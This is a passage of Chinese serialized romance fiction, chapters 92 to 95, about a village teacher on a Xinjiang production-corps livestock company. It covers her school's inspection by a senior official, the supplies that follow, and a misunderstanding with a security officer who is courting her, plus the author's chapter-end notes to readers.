连队的行动力在领导视察的刺激下变得空前高效。 刘书记亲自抓总,马连长负责协调劳力,赵卫东也暂时放下了“生产压倒一切”的论调,默许抽调人手支援学校建设。 于是,启明小学迎来了建成后最彻底的一次大扫除。墙壁被仔细清扫粉刷;窗户糊的新纸;地面夯实洒水;连国旗杆都被擦得锃亮。王大姐带着几个手脚麻利的妇女,把教室里的土坯课桌和矮凳擦了一遍又一遍,恨不得能反光。 王大姐一边用力擦着桌子,一边对舒染念叨:“舒老师,这可是大领导!听说比孙处长官还大!咱们可不能掉链子。你看看孩子们,脸都洗干净没?衣服补丁多的,要不要换件稍微齐整点的?” 舒染看着忙碌的众人,这种如临大敌的准备,心里有些不是滋味。但她理解大家的担忧和期盼,只能安抚道:“大姐,孩子们干干净净、精神神神的最好,不用刻意换衣服。我们学校什么样,就让领导看什么样。” 李秀兰也变得格外忙碌,除了豆腐坊的工作,一有空就跑到学校帮忙。她悄悄问舒染:“舒老师,林副政委……是不是林老师的……” 舒染微微点头,示意她噤声。李秀兰立刻捂住嘴,眼睛眨了眨,露出一个“我懂了”的表情,干活更卖力了,似乎觉得让林老师心里舒畅了,就能在领导面前加分。 牧区那边也听到了风声。图尔迪骑着马特意跑来一趟,找到舒染,脸上带着关切:“舒老师,听说要有大官来?会不会……不让我们的娃娃再来上学了?”他很担忧,生怕上级这突如其来的重视反而断了儿女刚刚开始的求学路。 舒染肯定地告诉他:“不会的,图尔迪大哥。领导来是关心学校,希望学校办得更好。娃娃们学得好,才是给学校争光。” 图尔迪将信将疑地走了。但随后,老阿肯居然也托人捎来话,说考察那天,他会带着几位牧民家长过来看看,给学校站站场面。这意外的支持让舒染心头一暖。 在这片忙乱与喧嚣中,有两个人显得格外平静。 一个是林雪舟。他依旧按时上课,一丝不苟地记录教学日志,但对于连队里为迎接林副政委而兴师动众的准备,他表现出一种刻意的疏离,甚至偶尔会流露出窘迫和无奈。当赵卫东暗示他可以在适当的时候向林副政委汇报一下系统的教学设想时,他只是推了推眼镜,含糊地应了一声,没有接话。 另一个是陈远疆。他作为保卫处特派员,负责考察期间的安全保卫工作。他带着人仔细检查了连队周边,规划了路线,安排了岗哨。但他看待这场视察风波的眼神,始终带着一种洞悉一切的沉静。 他在检查学校安全时,对焕然一新的教室不置可否,反而更关注门窗是否真的牢固,火墙烟道是否通畅。看到舒染时,他悄悄地地说了一句:“按你的节奏来,别自乱阵脚。” 他的平静让舒染有些浮躁的心也慢慢安定下来。 她知道,这场考察既是一次考验,也可能是一个难得的契机。她必须把握好分寸,既不能为了迎合而放弃原则,也要让领导看到基层教育真实的困境。 考察的日子定在三天后。时间紧迫,畜牧连进入了总动员状态。 连部会议室灯火通明,刘书记、马连长、赵卫东反复推敲接待流程和汇报内容,务求滴水不漏。 刘书记甚至亲自把关发言稿,删掉了一些他觉得过于实在可能会暴露短板的内容。 赵卫东的生产调度会也暂时为考察让路,他亲自督阵,确保连队主要道路平整,犄角旮旯的垃圾清理干净,连牲口圈都突击打扫了一遍,力求不留下任何可能让领导皱眉的卫生死角。 他还私下找舒染商量:“舒染同志,考察那天,能不能安排几个机灵点的孩子,表演个节目?比如朗诵首诗什么的?显得咱们教学有成果。” 舒染直接拒绝了:“赵主任,孩子们没准备过,临时表演反而容易紧张出错。领导想看的是真实课堂,不是排练好的演出。” 赵卫东虽不满意,但见舒染态度坚决,也只能作罢,转而催促:“那课堂一定要组织好!绝对不能出乱子!” 压力层层传导下来。王大姐几乎住在了学校,带着妇女们查漏补缺,连教室外的围墙老鼠洞都用泥巴糊上了。她甚至偷偷问舒染:“小舒,要不要我去借点红纸,剪几个‘欢迎领导’的字贴上?” 舒染哭笑不得地拦住了她:“大姐,真不用。咱们越自然越好。” 李秀兰则陷入了一种莫名的焦虑。她把自己的豆腐坊收拾得一尘不染,还反复练习如何向领导介绍豆腐制作流程,虽然领导大概率不会去豆腐坊。她甚至悄悄问许君君借了点雪花膏,考察前一天晚上,精心抹了脸,第二天一早又洗掉了,怕被人说“资产阶级思想”。 许君君作为卫生负责人,同样严阵以待。她把卫生室彻底消毒,所有药品摆放整齐,记录补全。她还特意准备了一个急救药箱,以备不时之需。她对舒染嘿嘿一笑:“我这可是为了应对突发情况,绝对不是为了拍领导马屁!” 牧区那边,老阿肯果然言出必行。考察前一天下午,他带着图尔迪等五六位牧民家长来到了学校。他们没有空手,带来了一小袋奶疙瘩和几张鞣制好的羊皮。 “舒老师,”老阿肯用声调不准的汉语说:“领导来看学校是好事。这个给领导和娃娃们分分,好好学习。”他将奶疙瘩和羊皮递给舒染,“那几张羊皮,可以用来铺在冷板凳上,或者给小娃娃当坐垫。” 相比于外界的忙乱,启明小学的内部,舒染尽力维持着常态。她照常上课,只是更加强调课堂纪律和环境卫生。她私下里找来石头、阿迪力等几个大孩子,叮嘱他们:“领导来参观,不用害怕,就像平时一样认真听讲。如果领导问话,知道就大声回答,不知道就摇摇头,没关系。” 她又特意和林雪舟沟通了一次:“林老师,考察那天,你的提高组按计划上课就好,展示我们分层教学的尝试。我们实事求是,不夸大,不隐瞒。” 林雪舟点了点头,表情有些复杂。他比任何人都清楚伯父此行的目的,也更感受到连队因他而起的这场风波。他低声说:“我知道。我会做好分内事。” 考察前夜,舒染最后一次检查教室。月光透过新糊的窗纸,洒在干净的地面上。教室里弥漫着淡淡的墨汁味。那些被视为不上台面的石灰块、石笔、骨炭笔,依旧整齐地摆在讲台旁的木盒里,这是她和大家一起制作的工具,她不会藏起来。 她走到教室外,看着在夜色中轮廓清晰的夯土围墙,还有那根矗立的旗杆。这里的一砖一瓦,都凝聚着她的和众人的心血。 身后传来轻微的脚步声。舒染回头,看到陈远疆站在不远处,身影在月光下拉得很长。 “都准备好了?”他问。 “嗯。”舒染点头,“能准备的都准备了。” 陈远疆走近几步,目光扫过教室,最后落在舒染脸上。月光下,她的眼神清澈而沉静。 他忽然开口:“林副政委看重实绩,不喜欢花架子。” 舒染心中一动,看向他。他好像对林副政委有所了解? 陈远疆却没有再多说,只是道:“明天我负责外围警戒。学校里面,看你的了。”他想了想,补充了一句:“平常心。” 说完,他像来时一样,迈步融入了夜色中—— 作者有话说:[求求你了]宝子们,作者君又来求[收藏作者]和预收新文《我为祖国采石油》啦,求宝子们用发财的小手点点[求你了] 第93章 考察日终于到来。 这天清晨, 畜牧连像是被水洗过一遍,干净得有些不真实。主干道洒了水,压住了浮土。 舒染也起得很早, 她换上了一件干净的列宁装,头发梳得整整齐齐。她到教室时, 王大姐和李秀兰已经在了,正最后一遍擦拭着桌凳。 孩子们也来得格外早,小脸洗得发亮, 头发梳得顺溜,连最调皮的孩子都老老实实地坐在自己的位置上。 “舒老师,领导什么时候到?”石头小声问。 “快了。”舒染安抚地对他笑笑,“别紧张, 就像平时一样。” 林雪舟也早早到了, 他今天穿回了那身深蓝色中山装, 神情严肃, 嘴唇抿得紧紧的, 看得出压力很大。 上午十二时许, 连部门口传来了汽车引擎声。几辆吉普车在尘土中驶来,缓缓停下。 刘书记、马连长、赵卫东立刻带着连队干部迎了上去。舒染和林雪舟也按照安排, 站在学校门口等候。 车门打开,孙处长和杨振华先从第一辆车下来。随后, 第二辆车上下来一位五十多岁、身材清瘦、戴着眼镜、气质儒雅的中年人,他穿着四个口袋的干部服, 目光沉静但又不怒自威。这正是林副政委。 刘书记等人连忙上前敬礼、握手。林副政委表情温和, 与众人一一握手,目光却已越过人群,落在了坡上那间教室, 以及站在教室门口的舒染和林雪舟身上。 “那就是启明小学?”林副政委问道,声音平和。 “是,首长!那就是我们连自己动手盖起来的教室!”刘书记连忙介绍,语气带着自豪。 随即,林副政委的视线一转,捕捉到了站在人群侧后方负责安保警戒的陈远疆。 林副政委的脚步顿住了,他脸上那种程式化的温和褪去,眼神里闪过一丝惊讶,然后是了然的神色。他径直朝着陈远疆走了过去。 这一举动让所有人都愣住了。 “远疆?”林副政委在陈远疆面前站定,“你怎么在这里?”他的语气里带着熟稔。 陈远疆敬了一个礼,声音沉稳:“报告林副政委,我现任第x师特派员,负责本次考察安保工作。” 林副政委深深地看着他,似乎拍拍他的肩膀,语气带着感慨:“好,好……在这里,也好。老首长他时常念叨你,得空去北京看看他。” “让首长挂心了。”陈远疆的回答依旧简洁。 这番对话信息量巨大,在场的人精们明白了许多。原来这位陈特派员竟有如此来历。能被林副政委称为“老首长”并挂念的,恐怕是了不得的人物。 林副政委没有再多说,只是又看了陈远疆一眼,然后才重新将注意力放回主流程上,对刘书记等人道:“走吧,去看看学校。” 刘书记、马连长等人交换着眼神,没有多言,带领着众人向坡上走去。 考察正式开始。 领导们首先参观了教室。林副政委看得很仔细,他摸了摸夯土的墙壁,看了看新换的门窗,目光在那些土坯课桌、矮凳,以及讲台上那盒石灰块和石笔上停留了片刻。 舒染的心微微提起。 然而,林副政委并没有发表评论,只是问舒染:“这些课桌,是自己做的?” “是,首长。连里职工和孩子们一起动手做的。”舒染如实回答。 林副政委点了点头,没说什么。 随后,领导们旁听了舒染给基础班上的课。舒染今天教的是认识“春耕”、“播种”、“浇水”。她依旧用她那套方法,拿出真实的麦种,画了简笔画,联系当下的农时讲解。 孩子们一开始有些拘谨,但在舒染的引导下渐渐放松下来,开始积极举手,大声回答问题。当舒染问到“播种要注意什么”时,栓柱甚至抢着回答:“要撒匀!不能太密也不能太稀!我爸说的!” 林副政委认真地听着,脸上看不出什么表情,偶尔和身旁的孙处长低声交流两句。 接着,领导们又移步到教室角落,观摩林雪舟给提高组的孩子们上课。林雪舟显然有些紧张,讲解拼音时语速偏快,但内容扎实,板书工整。他带的几个孩子基础较好,也能跟上他的节奏。 林副政委看着林雪舟的课堂,眼神里闪过一丝满意的情绪。 课堂观摩结束后,领导们又在连部听取了简要汇报。刘书记、马连长依次发言,重点汇报了连队对教育工作的支持。舒染作为学校负责人,做了核心汇报。她没有刻意夸大成绩,也没有回避困难,如实介绍了学生构成、教学方法的探索、与牧区沟通的进展,以及目前面临的教材、教具、师资培训等实际问题。 她特别提到了林雪舟到来后,在系统性知识教学和教学记录方面带来的积极变化,也坦诚了初期因理念不同产生的磨合。 “我们的目标是一致的,就是把孩子教好。”舒染最后总结道,“在这里,教育不能脱离生活。我们用的方法可能土,但希望能为孩子们打下扎实的人生根基。” 汇报过程中,林副政委一直安静地听着,手指轻轻敲着桌面,看不出喜怒。 汇报结束后,林副政委没有做长篇大论的指示,只是言简意赅地说了几句,剩下是其他领导发言: “我们看了、听了,都觉得不错。” “教学方法因地制宜,实事求是,很好。” “困难确实不少,各级都要想办法解决。” “孩子是未来,基层教育工作者们辛苦了。” 评价的话不多,却让刘书记、马连长等人暗暗松了口气。 考察结束,林副政委一行人没有停留用餐,直接乘车离开。 临走前,他再次与送行的人员握手,轮到陈远疆时,他用力握了握,低声道:“保重。有事……可以找我。” 陈远疆依旧是冲他敬了个礼。 吉普车走后,畜牧连又恢复了往常的节奏,只是大家伙还留着一丝兴奋与议论。 “这就完了?领导说什么了?” “好像……没批评?” “舒老师汇报的时候,林副政委点头了呢!” “我看有戏!说不定真能批点东西下来!” 舒染站在坡上,望着远去的车队,心情复杂。这场因林雪舟而起的风波似乎平静地过去了。领导没有对她的教学方法大加赞赏,但也没有否定,那种不动声色的态度,反而让她有些琢磨不透。 陈远疆不知何时走到了她身边,依旧是那副平淡的语气:“结束了。” “嗯。”舒染应了一声,转头看他,“陈干事,你说林副政委怎么看我们学校?” 陈远疆目光望向戈壁远处,半晌才说道:“他看的是结果。” 结果?舒染若有所思。 这时,林雪舟也走了过来,他看起来轻松了不少,但眼神里还带着思索。 “舒老师,”他开口道,语气比以往郑重了许多,“林副政委刚才私下跟我说了一句话。” 舒染和陈远疆都看向他。 林雪舟推了推眼镜,一字一顿地复述:“他说,‘在这里,能让学生眼睛里有光的老师,就是好老师。’” 舒染愣住了。 能让学生眼睛里有光的老师…… 她忽然想起课堂上孩子们积极举手时发亮的眼睛,想起阿依曼第一次写出自己名字时的笑容,想起阿迪力画羊时的专注……她下意识地看了一眼身旁的陈远疆,他正望着远方,不知在思考着什么。 她彻底地松了一口气,脸上露出了这些天来第一个轻松的笑容。 陈远疆看着她脸上的笑容,目光微动,随即也弯了一下嘴角,转身默默走开了。 * 林副政委考察带来的影响,最直接的体现便是一个月后。 首先是文化教育物资的批拨。师部教育科直接调拨了一批地方识字课本、几大箱铅笔和练习本、粉笔,甚至还有几块钢板、铁笔和一大卷蜡纸。这对于启明小学来说,简直是鸟枪换炮。 舒染抚摸着那些散发着油墨味道的新课本,心里感慨万千。她将它们分发下去,孩子们捧着新书,高兴极了。石头用袖子擦拭着封面,阿依曼把脸贴在书页上,露出沉醉的表情。 “同学们,”舒染的声音带着一丝激动,“这些书,是组织上对我们学习的关心和支持。我们要更加努力,对得起这份期望!” 除了文化物资,更让连队上下喜出望外的是,一批紧俏的生产物资也紧随其后批了下来——优质的化肥、农药,甚至还有几台急需的农机配件。这显然是上级综合考虑后,对畜牧连整体工作的肯定与扶持。 赵卫东拿着物资调拨单,脸上难得的笑容,连带着对舒染和学校的看法也改善了不少,至少在资源申请上,不再像以前那样锱铢必较了。 连队里议论的风向也变了,绝大多数人对舒染的评价是“有本事”、“能给连里带来实惠”。 物资的丰富,让舒染和林雪舟的工作开展得更加顺畅。有了统一的课本,林雪舟的系统化教学终于有了依托,他负责的提高组进步明显。而舒染则利用新到用具制作了更多教具,基础班的教学也更加直观有趣。 两人在工作上的配合愈发默契。常常在放学后,其他人都走了,他们还留在教室里,一起讨论教学进度,研究如何将系统知识与生活实际更巧妙地结合。 林雪舟负责用铁笔在钢板上刻写蜡纸,舒染则用简易的手推油墨辊进行手工印刷,印制复习资料和简单的练习题。 铁笔划过蜡纸的沙沙声,混合着窗外杨树叶被风吹动的哗哗声,成了夏日傍晚教室里的独特声响。 “舒老师,你看这个造句练习,用关联词结合春耕的情景,是不是比单纯的比喻句贴切?”林雪舟拿着刚刻好字迹的蜡纸,征求舒染的意见。 舒染凑过去辨认钢板刻印的字迹,点点头:“这个想法好!比如‘因为春天到了,所以我们要播种。’既学了关联词,又复习了农时。” 两人靠得很近,头几乎要碰在一起,专注于蜡纸上细密的刻痕,浑然不觉教室窗外,一个身影已经驻足良久。 陈远疆是来确认连队外围巡逻哨位的,路过学校时,习惯性地看了一眼。然后他就看到了舒染神态专注地和林雪舟在一起低声讨论着。 他的脚步顿住了,胸口像是被什么东西堵住了,闷得发慌。他想转身离开,却忍不住留在了那里。 直到舒染无意间抬头,瞥见了窗外那个熟悉的身影。 “陈特派员?”舒染有些意外,站起身。 林雪舟也抬起头,看到陈远疆,礼貌地点了点头:“陈特派员。” 陈远疆迈步走了进来,他的目光扫过桌上散落的刻写工具、蜡纸和纸张,最后落在舒染脸上,语气是一贯的平淡,却比平时更硬几分:“这么晚还在忙?” “嗯,赶着印点复习资料。”舒染解释道,感觉陈远疆今天的气场有些不同,似乎……更冷了,目光像带着钩子。 “工作重要,安全也要注意。”陈远疆的视线转向林雪舟,目光带着一种审视,“林老师也辛苦了,这刻写蜡纸是细致活。” 林雪舟被他看得有些不自在,推了推眼镜:“分内之事。比起舒染同志手工印刷,我这算轻松的了。” 陈远疆的眉头蹙了一下,没再说什么,只是又深深看了舒染一眼,那眼神复杂难辨,似乎想说什么,最终却只是道:“不打扰你们了。”说完,转身大步离开,背影很快消失在夜色里。 舒染看着空荡荡的门口,心里掠过一丝异样。她总觉得陈远疆刚才那一眼,在她沾了墨渍的手指上停留了一瞬,带着点……说不清道不明的情绪。 林雪舟并未察觉,只是继续低头刻写,感慨道:“陈特派员真是责任心强,这么晚了还巡查。” 舒染收回目光,重新坐了下来,心思却有些飘远。沙沙的刻写声再次响起,却驱不散心中生出的烦闷。她低头看了看自己指尖的墨迹,轻轻叹了口气。 第94章 盛夏的戈壁滩, 天气说变就变。刚才还是烈日当空,转眼间乌云就从天山方向压了过来。 “要下大雨了!”舒染看着窗外昏黄的天色,连忙招呼孩子们, “快!把窗户关好!收拾东西,准备放学!” 孩子们一阵忙乱。眼看豆大的雨点已经开始砸落, 地面上溅起泥花。 “雨太大了!等小一点再走吧!”舒染看着瞬间密集起来的雨幕,做出了决定。孩子们都乖巧地留在教室里。 这场雨来得又急又猛,天地间很快白茫茫一片。雨水顺着窗纸缝隙渗进来, 在地上积起了小水洼。 “我去找点东西堵一下窗户缝隙。”林雪舟说着,起身去找抹布和废旧报纸。 舒染则安抚着有些害怕的低年级孩子:“别怕,夏天的雨,来得快走得也快。” 就在这时, 教室门被推开, 陈远疆提着一捆防水帆布走了进来。他显然是从别处冒雨赶来的, 军装湿透, 紧贴在身上, 头发也不停地滴着水。 他看到教室里安然无恙的孩子们和舒染, 似乎松了口气,但目光触及正在窗边忙碌的林雪舟时, 眼神又沉了下去。 “陈特派员?你怎么来了?”舒染惊讶地问。 “雨大,过来看看。”陈远疆抹了把脸上的雨水, 把系着帆布卷的绳子解开,把一块块卷好的淘汰下来的军用帆布摊在地上。 做完这些, 他的视线落在窗边, 林雪舟正踮着脚,试图堵住高处渗水的缝隙,姿势有些别扭。 陈远疆没说话, 大步走过去,一把拿过林雪舟手里的抹布,声音硬邦邦的:“我来。” 他身高腿长,手臂一伸,轻松就够到了林雪舟够不到的地方,动作利落地用抹布和报纸塞紧了缝隙。 林雪舟有些尴尬地退到一边,看着陈远疆熟练的动作,讪讪地道:“谢谢陈特派员。” 陈远疆没理他,快速检查了其他几扇窗户,确认不再渗水后,才转过身,目光直直地看向舒染,“雨一时半会儿停不了。我送孩子们回去。大的跟我走,小的……你带着,等我回来接。” 他的安排干脆利落,完全没给舒染和林雪舟反驳的余地。 舒染愣了一下,看着他那双深邃的眼睛,到嘴边的话咽了回去。她点了点头:“好。” 陈远疆立刻组织年龄大些、胆子也壮的孩子披上防水帆布,让他们互相拉着衣角,他则走在最前面,撑着一块大一点的帆布为前头的孩子挡住部分风雨,很快消失在雨幕中。 教室里只剩下舒染、林雪舟和几个年纪最小的孩子。 林雪舟看着门外,推了推眼镜:“陈特派员……很关心学生。” 舒染没有接话,只是看着窗外肆虐的暴雨,心里却不像表面那么平静。 陈远疆刚才那不由分说的态度,那几乎算是抢过林雪舟手里活计的举动,还有那深深看向她的眼神…… 他似乎在用一种笨拙的方式划定着什么,宣告着什么。 不知过了多久,雨势变成了毛毛细雨。陈远疆的身影再次出现在门口,他浑身湿透,裤腿上沾满了泥浆。 “走吧。”他对舒染和剩下的孩子说。 他自然而然地抱起已经有些瞌睡的小丫,又看向舒染:“跟紧我。” 舒染拉起另外两个孩子的手,跟着他了出去。陈远疆刻意放慢了脚步,走在她侧前方。 泥泞的路上,只有脚步声。 陈远疆抱着小丫走在前面,背脊挺得笔直。他没有回头,但每一步都踏得很重,仿佛在跟什么较劲。 舒染牵着另外几个孩子跟在后面,目光落在他的背影上。他刚才在教室里的姿态,此刻这沉默的背影,都在传递着一种情绪。 她不是不谙世事的小姑娘。21世纪的职场和生活中,她见过太多或直白或含蓄的追求与试探。陈远疆此刻的表现,简直像极了那些心里憋着醋意,却又碍于面子不肯明说,只能用行动来刷存在感的男人。 想到这里,舒染心里有些好笑,又有点说不清的异样。她原本因这场暴雨带来的些许烦闷竟被冲淡了些。 他们先送了几个孩子回家,那家大人千谢万谢地接过孩子,又招呼他们进去避雨,被陈远疆一句“还有任务”挡了回去。 接着是送小丫。到了小丫家门口,陈远疆将睡得迷迷糊糊的小丫递给她迎出来的母亲。小丫娘连声道谢,又要留他们,陈远疆依旧只是摇了摇头,转身就走,脚步甚至比来时更快。 舒染只能匆匆对小丫娘笑了笑,赶紧跟上。 现在,只剩下他们两个人了。雨几乎停了,只有屋檐还在滴着水。天色彻底暗了下来,连队里零星亮起了灯火。 陈远疆依旧走在前面,与舒染保持着不远不近的距离,没有回头,也没有说话。 舒染看着他那副样子,终于忍不住,快走两步,与他并行。 “陈特派员,”她开口,“谢谢你今天过来,还送孩子们回家。” 陈远疆脚步未停,只是从低低地“嗯”了一声,算是回应。 舒染侧头看他,只能看到他严肃的侧脸。她故意顿了顿,才语气平常地接着说:“刚才林老师也在帮忙堵窗户缝隙,幸好你带了帆布来,不然教室里真要积水了。” “林老师”三个字扎了陈远疆一下。 陈远疆的脚步顿了一下,随即又恢复正常,但速度似乎更快了点。他又“嗯”了一声,这次连音节都吝啬给了,带着明显的不耐烦。 舒染心里那点好笑的感觉更盛。她几乎能想象出他此刻紧抿着唇、眉头深锁的样子。 她不再说话,只是安静地跟在他身边。两人沉默地走在泥路上,脚步声交错。 快到地窝子门口时,陈远疆终于停了下来。他转过身,面对舒染。黑暗中,他的眼睛亮得惊人,像是压抑着某种情绪。 舒染也停下脚步,抬头看着他,没有避开他的视线。 两人对视着。 他似乎想说什么,嘴唇动了动,目光最后却落在地面上,终究什么也没说。 那种想问又不敢问,想表达又极力克制的别扭劲儿,几乎扑面而来。 舒染心里彻底了然。她看着他这副难得外露着气性的模样,忽然觉得,这个平日里冷硬的男人,也有点……可爱。 她不想再看他继续别扭下去,也不想再玩这种你猜我猜的游戏。 “陈远疆。”她忽然连名带姓地叫他。 陈远疆猛地抬眼看向她,眼神里闪过一丝错愕。 舒染迎着他的目光,嘴角弯起一个弧度,语气中带着了然:“你是在不高兴吗?因为我和林老师在一起?” 她本意是指“在一起刻蜡纸、工作”,语气带着一丝调侃,想看他如何反应。 然而,这话听在陈远疆耳中,却如晴天霹雳。 “在一起”? 他脑子里“嗡”的一声。所有的猜测、郁闷、克制,在这一刻被这三个字坐实了。他以为舒染是在向他宣告,她和林雪舟已经确立了那种关系。 震惊让他四肢都有些发僵。他不敢相信,这才多久?他们……就已经在一起了?一种措手不及的懊恼猛地攥住了他的心。随即而来的是巨大的失落压下来,让他几乎喘不过气。原来她对自己……真的没有那个意思。 所有的关注、那些靠近和关心,都只是他的一厢情愿。 这些情绪在他胸中冲撞得几乎要破膛而出。但他的脸上,除了最初那一闪而过的震惊外,迅速归于平静。 他避开了舒染带着笑意的目光,声音维持着平静,甚至比平时更冷几分:“没有。你和谁在一起,是你的自由。” 他说完,几乎是立刻就想转身离开。 舒染愣住了。他这反应……不对。 她仔细回味了一下自己刚才的话,再看看陈远疆这副带着点赌气意味划清界限的样子,忽然明白了。 他误解了!他把“在一起(做事)”理解成了“在一起(恋爱)”! 看着他那副“我很好,我没事,与我无关”的姿态,舒染心里那点恶作剧的心思没了,取而代之的是一种既好笑又心软的情绪。 这个误会,似乎有点大了。 她看着他即将转身逃离的背影,及时开口,声音放软了些解释意道:“陈干事,我的意思是,我和林老师在一起刻蜡纸、印复习资料,工作到很晚。你是因为这个不高兴吗?” 陈远疆已经半转过去的身体猛地顿住。 刻蜡纸……印资料……工作…… 汹涌的难过情绪退去,陈远疆在心里松了口气,紧接着是巨大的尴尬。 他僵在原地,背对着舒染,耳朵尖热了起来。他刚才都想了些什么?又说了些什么? “你和谁在一起,是你的自由。”——这话现在回想起来,简直蠢透了! 舒染看着他的背影,能想象到他此刻脸上精彩的表情。她没有再紧逼,只是轻轻叹了口气,语气恢复了平常:“雨停了,我回去了。你也快回去换身干衣服吧。” 这一次,她没有再等他回应,径直推开地窝子的门板,走了进去。 门外,陈远疆依旧保持着那个别扭姿势,良久才回过头,看着那扇已经关上的门,抬手用力抹了把脸,分不清是雨水还是冷汗。 懊恼依旧存在,但不再是那种失去什么的恐慌。他深吸一口气,又缓缓吐出。 他站了一会儿,最终还是转身,迈步离开。今晚,他觉得自己像个彻头彻尾的傻瓜—— 作者有话说:【小剧场】 陈远疆控诉:舒染你就是故意的,坏女人! 舒染:嘿嘿~ 陈远疆别开脸低声:怎么办可是我好爱… 【作者君的碎碎念】 昨晚把存稿放进存稿箱设置九点发出,然后今天一睡醒发现压根没发出来,[爆哭]气煞我也,今天的章节发晚了掉落点惊喜给评论区当补偿[元宝] 第95章 自那场误会之后, 舒染和陈远疆之间的关系,陷入了一种微妙的状态。 表面上一切如常。陈远疆依旧照常巡逻,偶尔路过学校, 目光会习惯性地扫过教室。 舒染依旧忙于教学、扫盲,与林雪舟分工合作。 但有些东西, 到底是不一样了。 舒染能感觉到,陈远疆在刻意避免与她单独相处。即使必要的碰面,他的话语也更简短, 眼神接触一触即分。 舒染有些无奈,又觉得有些好笑。这个男人,在敌特和边境风沙面前眉头都不皱一下,却在她一句无心的问话下落荒而逃。 她并不着急。感情的事, 强求不来, 尤其是对陈远疆这样心思重、顾虑多的人。 舒染照常过她的日子。她将这份微妙妥帖地收好, 并未让其扰乱心神。她很清楚自己想要什么, 能在这片土地上站稳脚跟, 靠的不是任何人的青睐, 而是她创造的价值和不可替代的工作能力。 感情可以是生活的调剂,但绝不是重心。她的重心在她刚刚铺开的事业蓝图上。 林副政委考察带来的积极效应仍在持续。除了物资, 更宝贵的是来自师部教育科的正式关注和资源倾斜。孙处长显然将启明小学视为一个成功的基层样板,希望将其经验加以总结和推广。 一周后。 师部拨下来的钢板和铁笔虽然好用, 但手工印刷是个力气活,尤其是推油墨辊, 需要不小的臂力和技巧。 舒染连着印了几天资料, 右手手腕又酸又胀,傍晚批改作业时,握笔都有些吃力。 这天放学后, 她正揉着手腕,看着桌上还剩一小叠待印的蜡纸发愁,教室门被推开了。 是陈远疆。 他像是例行巡查,目光在教室里扫了一圈,最后落在舒染揉手腕的动作和那叠蜡纸上。 舒染抬起头看到他有些意外,随即放下手:“陈干事。” 陈远疆“嗯”了一声,走了进来。他的视线在她手腕上停留了一瞬,又移到那叠蜡纸和旁边的油墨辊上。 “还有这么多没印?”他问,声音少了前几日的疏离。 “嗯,手腕有点使不上劲,慢了点。”舒染实话实说,没卖惨也没抱怨。 陈远疆沉默了几秒,然后走到桌前,拿起那根分量不轻的油墨辊,掂量了一下。 “这个不是这么用的。”他忽然开口,“用力要匀,速度要稳。你这样硬推,费劲还印不好。” 舒染挑眉看他:“陈特派员还懂这个?” 陈远疆没看她,目光专注在油墨辊和蜡纸上,“以前在师部,帮着印过简报。” 他说着,已经动手调整蜡纸的位置,然后握住油墨辊,示范性地推了一下。动作果然流畅均匀,印出来的字迹清晰墨色饱满,比舒染印的效果好了不少。 舒染看着,真心赞道:“确实厉害。” 陈远疆没接话,一下又一下地推着油墨辊。教室里只剩下油墨辊划过蜡纸的沙沙声。 舒染看着他熟练的动作,心里那点小芥蒂忽然就烟消云散了。 她没有打扰他,安静地坐在一旁整理着已经印好的纸张,偶尔递上一张新的蜡纸。 两人没有多余的交流,气氛却不再尴尬。夕阳的余晖将两人的身影交叠投映在土墙上。 当最后一张蜡纸印完,陈远疆放下油墨辊,动作自然地拿起旁边一块干净的旧布,擦拭着手上沾到的油墨。 舒染递过去一块湿毛巾:“擦擦吧,这个比干布好用。” 陈远疆愣了一下,接过毛巾,低声道:“谢谢。” 他擦着手,目光却不由自主地飘向舒染。她正低头整理着印好的资料,夕阳给她整个人附上了一层光晕。 那一刻,教室里很安静,他几乎能听到自己的心跳声。 舒染似乎察觉到他的注视,抬起头对上他的目光。 “舒染。”他忽然开口叫了她的名字。 “嗯?”舒染应道,心中一动。 陈远疆看着她,似乎鼓足了极大的勇气,才说道:“那天晚上……我的话,你别介意。” 他没具体指哪句话,但两人都心知肚明。 舒染看着他这副郑重其事道歉的样子,笑了笑,语气轻松:“我早忘了。再说,你不是帮我印了这么多资料吗?算是将功补过了。” 陈远疆看着她脸上的笑容,心里终于松弛了些许。 他目光落在她之前揉按的手腕上,“以后这种力气活,可以叫我。” 这话说得依旧简洁,但其中蕴含的意味,两人都懂。 舒染没有拒绝,也没有矫情,只是坦然地看着他,点了点头:“好。” 陈远疆似乎松了口气,整个人都放松了下来。他将擦干净的毛巾叠好放在桌上,低声道:“我走了。” “嗯。”舒染看着他走到门口,忽然想起什么,“陈远疆。” 他立刻停下脚步,回头看她。 “谢谢。”舒染看着他,眼神清澈而真诚,“谢谢你帮我印资料,也谢谢……你之前为我做的事情。” 陈远疆的嘴角向上弯了一下,没再说什么转身离开了。 自那之后,陈远疆出现在学校周围的频率,似乎又恢复到了从前,甚至更高了些。他不再刻意回避与舒染的接触,虽然话依旧不多,但眼神里的温度明显不同。 * 几场秋雨过后,暑气彻底消散,连队里迎来了它短暂的秋天。天更高,云更淡,风里带着草木的气息。 比天气变化更让人津津乐道的,是畜牧连里那些新气象。 师部资源倾斜的效果,在这个秋天显现了出来。 最引人注目的,是连部东头空地上立起的几间干打垒土坯房。墙体厚实,屋顶铺着新割的芦苇把子,抹着平整的草泥。虽然依旧是土房子,但比起低矮的地窝子,已是天壤之别。 这是连里用上级批下的部分建材,组织职工利用工余时间,一杵子一杵子夯起来的,打算优先分配给住房最困难的几户职工和成了家的年轻夫妇。 每天下工后,都有不少人围在那几间新房前讨论着,脸上带着羡慕和期盼。 “瞧瞧这墙,多厚实!冬天肯定暖和!” “啥时候咱们也能排上号就好了……” 王大姐看着新房,眼神里也流露出向往,但更多的是为连队高兴:“这可是大好事!有了这开头,往后咱们连的房子,能越来越像样!” 连队里那条主干土路也被仔细修整过。坑洼被填平,路面用石碾子反复压实,虽然下雨天依旧免不了泥泞,但平日里走起来平坦了许多。 路两旁不知何时栽下的一排排小白杨树苗,虽然还没法遮阴,但那抹新绿给这片土黄色的天地带来了勃勃生机。 “这树要是长起来,夏天就有阴凉地儿了!”李秀兰挑水路过,总会多看几眼那些树苗。她现在除了豆腐坊的活计,帮着舒染管理扫盲班物资也更加得心应手,人显得自信了不少。 环境的细微改善慢慢浸润着连队的日常生活。 启明小学里,孩子们用上了新的练习本和铅笔,不用再心疼地对着废报表纸的背面反复擦写。 舒染和林雪舟的教学配合愈发默契。基础班的孩子在舒染的带领下,已经能遣词造句。提高组在林雪舟的系统教授下,基础知识不仅掌握得越来越牢固,甚至开始学习写日记、作文了。 